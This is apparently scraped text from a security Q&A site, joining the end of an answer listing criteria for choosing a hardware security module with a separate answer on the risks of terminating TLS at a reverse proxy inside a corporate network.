Lead time
Vendor patch policy / frequency (+support for and ease of firmware upgrade)
Country of design and/or manufacture - you might be a Government or company that particularly (dis)trusts certain countries
Vendor stability - are they likely to be around to support the product for as long as you're going to be using it?
What is the vendor's product roadmap, does it hold anything of value for you, and will you have access to the future versions via firmware upgrade?
How good the swag was that you got off of them at RSA

There are probably many more.

The SANS institute have a good introductory paper describing why you might want an HSM, the positive attributes it (should) have and some of the downsides.

It seems an HSM vendor agrees with most of this list, and produced their own (unattributed) version of it.


SSL Termination within corporate network

Security is always a balance between risks and needs. TLS terminating reverse proxies are typically put in front of some service on the same machine or to systems in the same LAN. As long as this LAN is sufficiently controlled (i.e. only some system administrators can make changes, no "common" employees have access) the risk can be acceptable. If not one can add an additional TLS connection (or a VPN) between reverse proxy and the final server, but at the cost of a performance impact.